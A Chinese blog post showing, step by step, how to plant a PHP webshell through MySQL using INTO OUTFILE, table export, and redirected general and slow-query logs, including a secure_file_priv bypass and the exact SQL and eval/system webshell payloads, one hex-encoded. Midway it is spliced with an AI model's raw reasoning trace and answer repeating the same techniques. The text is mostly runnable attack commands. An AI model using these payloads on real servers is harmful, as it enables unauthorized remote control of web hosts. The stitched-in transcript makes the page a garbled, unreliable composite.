Mysql写shell的几种方式

本文详细介绍了如何利用MySQL的查询语句在不同场景下写入Shell,包括通过 outfile、插入数据并导出、开启全局日志和慢查询日志等方法,并演示了如何绕过 secure_file_priv 限制。最终成功在目标服务器上创建并连接到shell.php文件。

Mysql写shell的几种方式

当我们拿到数据库权限时,可通过数据库管理工具写入shell到目标服务器上,利用shell控制目标服务器。

复现环境:
phpstudy_pro 8.1.0.6
mysql 5.7.26 root权限
网站绝对路径为D:\phpstudy_pro\WWW

利用方式:

  1. 通过outfile写入shell
    尝试通过outfile写入文件
 报错[Code: 1290, SQL State: HY000]The MySQL server is running with the –secure-file-priv option so it cannot execute this statement

百度之后找到原因:mysql 5.6.34版本以后 secure_file_priv的值默认为NULL,限制无法导入和导出文件

解决办法:在my.ini配置文件[mysqld]下添加secure_file_priv =""使其默认为空
在这里插入图片描述

新建查询select

'<?php  @eval($_POST[1]);?>' into outfile
'D:/phpstudy_pro/WWW/shell.php';,成功写入shell.php文件  

在这里插入图片描述
蚁剑连接http://localhost:122/shell.php成功
在这里插入图片描述

  1. 向表插入shell并查询导出
    将一句话木马作为数据插入test1表username字段中
 insert into`test1`(`username`) values ('<?php  @eval($_POST[1]);?>');

在这里插入图片描述
在这里插入图片描述

查询该数据并导出到shell.php

   select username from test1 into outfile 'D:/phpstudy_pro/WWW/shell.php';

在这里插入图片描述

蚁剑连接http://localhost:122/shell.php成功
在这里插入图片描述

  1. 开启全局日志写入shell
    首先查看全局日志是否开启
 show variables like '%general%';  

如图所示general_log=OFF全局日志未开启
在这里插入图片描述

   开启全局日志 
   set global general_log = on; 
   将全局日志路径设置为shell文件路径 
   set global general_log_file = 'D:/phpstudy_pro/WWW/shell.php';  

在这里插入图片描述

新建查询select '<?php  @eval($_POST[1]);?>'; 

mysql会将执行的语句记录到全局日志,从而将shell写入网站目录

在这里插入图片描述
蚁剑连接成功

  1. 慢查询日志写入shell
    由于在mysql>5.6.34中,secure_file_priv会阻拦我们使用outfile写入文件,没有服务器权限无法修改my.ini配置文件,可以利用慢查询日志写入shell,原理和利用全局日志差不多。

    首先一样查看慢查询日志是否开启

show variables like '%slow_query_log%';  

在这里插入图片描述

开启慢查询日志并修改日志文件的绝对路径

在这里插入图片描述

使用慢查询日志时,只有当查询时间超过系统时间时才会记录在日志中

查询mysql系统时间 show global variables like '%long_query_time%';  

在这里插入图片描述

向日志中写入shell

select '<?php @eval($_POST[1]);?>' or sleep(11);设置查询时间为11s

在这里插入图片描述
执行成功
在这里插入图片描述
蚁剑连接成功

  1. phpMyAdmin文件包含漏洞
    CVE-2018-19968
    CVE-2018-12613
    CVE-2016-5734
    CVE-2014-8959
<think>嗯,用户想了解通过MySQL入WebShell的不同方法及其利用条件。这个问题涉及数据库安全渗透技术,需要谨慎回答技术细节同时避免提供攻击脚本。 用户应该是个安全研究人员或渗透测试学习者,从ta明确要求"不同方法及利用条件"来看,ta需要的是系统性的技术梳理而非零散技巧。可能正在做相关攻防实验或编技术文档。 参考站内资料发现几个关键点:secure_file_priv配置是核心限制条件[^3],方式主要围绕OUTFILE/DUMPFILE和日志文件两种路径[^1][^2]。特别注意到引用[4]提到CREATE TABLE间接入的方法,这个技术点比较隐蔽值得展开。 需要强调法律边界,在技术说明中加入"仅用于授权测试"的警示。对于secure_file_priv的三种状态(无值/null/路径限制)要解释清楚,这是大多数实操失败的关键原因[^3]。 用户可能没意识到路径获取的难度,所以补充union select查路径的技巧[^2]很必要。另外phpMyAdmin这类管理工具的特殊性也要说明——它既可以是攻击入口也可能是防御突破口。 要不要提防御方案呢?考虑到用户没问但技术完整性需要,在最后用简表对比时加入"防御措施"列应该能超出ta预期。不过得控制篇幅,重点还是回答ta明确询问的"方法及条件"。</think>通过MySQL入WebShell的核心方法及利用条件如下,**需在授权测试环境下操作**: --- ### 一、`SELECT ... INTO OUTFILE/DUMPFILE` 直接入 **原理** 利用SQL语句将WebShell代码直接入服务器文件 **利用条件**: 1. 数据库用户需具备`FILE`权限(通常为root用户) 2. MySQL配置中`secure_file_priv`值为空或指向目标目录 - 查看配置:`SHOW VARIABLES LIKE 'secure_file_priv';` - 空值:允许入任意目录 - `NULL`:禁止文件操作 - 路径:仅允许指定目录 3. 知晓网站绝对路径(可通过报错/信息泄露获取) 4. 目标目录有权限 **示例语句** ```sql SELECT "<?php @eval($_POST['cmd']);?>" INTO OUTFILE '/var/www/html/shell.php'; ``` **关键限制** - 需绕过单双引号过滤时可用十六进制编码: ```sql SELECT 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E INTO OUTFILE '/path/shell.php'; ``` --- ### 二、利用日志文件入 **原理** 修改MySQL日志路径至Web目录,通过执行SQL语句将WebShell入日志 **利用条件**: 1. 数据库用户需有`SUPER`权限 2. 知晓网站绝对路径 3. 目标目录有权限 **操作步骤** ```sql SET GLOBAL general_log = 'ON'; -- 开启通用日志 SET GLOBAL general_log_file = '/var/www/html/shell.php'; -- 设置日志路径 SELECT '<?php system($_GET["c"]);?>'; -- 入WebShell SET GLOBAL general_log = 'OFF'; -- 关闭日志(避免持续入) ``` --- ### 三、通过数据表转存入 **适用场景** 当`secure_file_priv`严格限制且无法修改配置时 **利用条件**: 1. 可创建数据库和表 2. 有`FILE`权限但受路径限制 **操作流程** ```sql CREATE DATABASE foo; USE foo; CREATE TABLE bar (baz LONGTEXT); -- 创建存储容器 INSERT INTO bar (baz) VALUES ('<?php @system($_GET["c"]);?>'); -- 插入WebShell SELECT baz FROM bar INTO DUMPFILE '/tmp/shell.php'; -- 尝试转存到临时目录 ``` **后续利用** 若成功入临时目录,需结合文件移动漏洞或本地包含漏洞进一步利用 --- ### 四、利用慢查询日志入 **原理** 通过修改慢查询日志路径和内容入WebShell **利用条件**: 1. 数据库用户需有`SUPER`权限 2. 目标目录可 **操作语句** ```sql SET GLOBAL slow_query_log = 1; SET GLOBAL slow_query_log_file = '/var/www/html/shell.php'; SELECT '<?php passthru($_GET["cmd"]);?>' FROM mysql.db WHERE SLEEP(11); -- 触发慢查询 ``` --- ### 利用条件对比表 | 方法 | 所需权限 | 关键配置要求 | 路径要求 | |--------------------|------------------|--------------------------------|------------------| | OUTFILE直接入 | FILE权限 | secure_file_priv为空或目标路径 | 需绝对路径 | | 通用日志入 | SUPER权限 | 可修改日志路径 | Web目录可 | | 数据表转存 | FILE+CREATE权限 | secure_file_priv允许/tmp等目录 | 需二次利用 | | 慢查询日志入 | SUPER权限 | 可修改日志路径 | Web目录可 | > **重要限制**: > 1. 新版本MySQL默认`secure_file_priv=NULL`,需修改`my.cnf`重启服务[^3] > 2. Web目录权限通常受限于www-data用户,需确保MySQL进程有入权限 > 3. 防御措施:限制数据库权限、配置`secure_file_priv`、禁用`load_file()`等函数[^1][^3] --- **
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Redredredfish

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值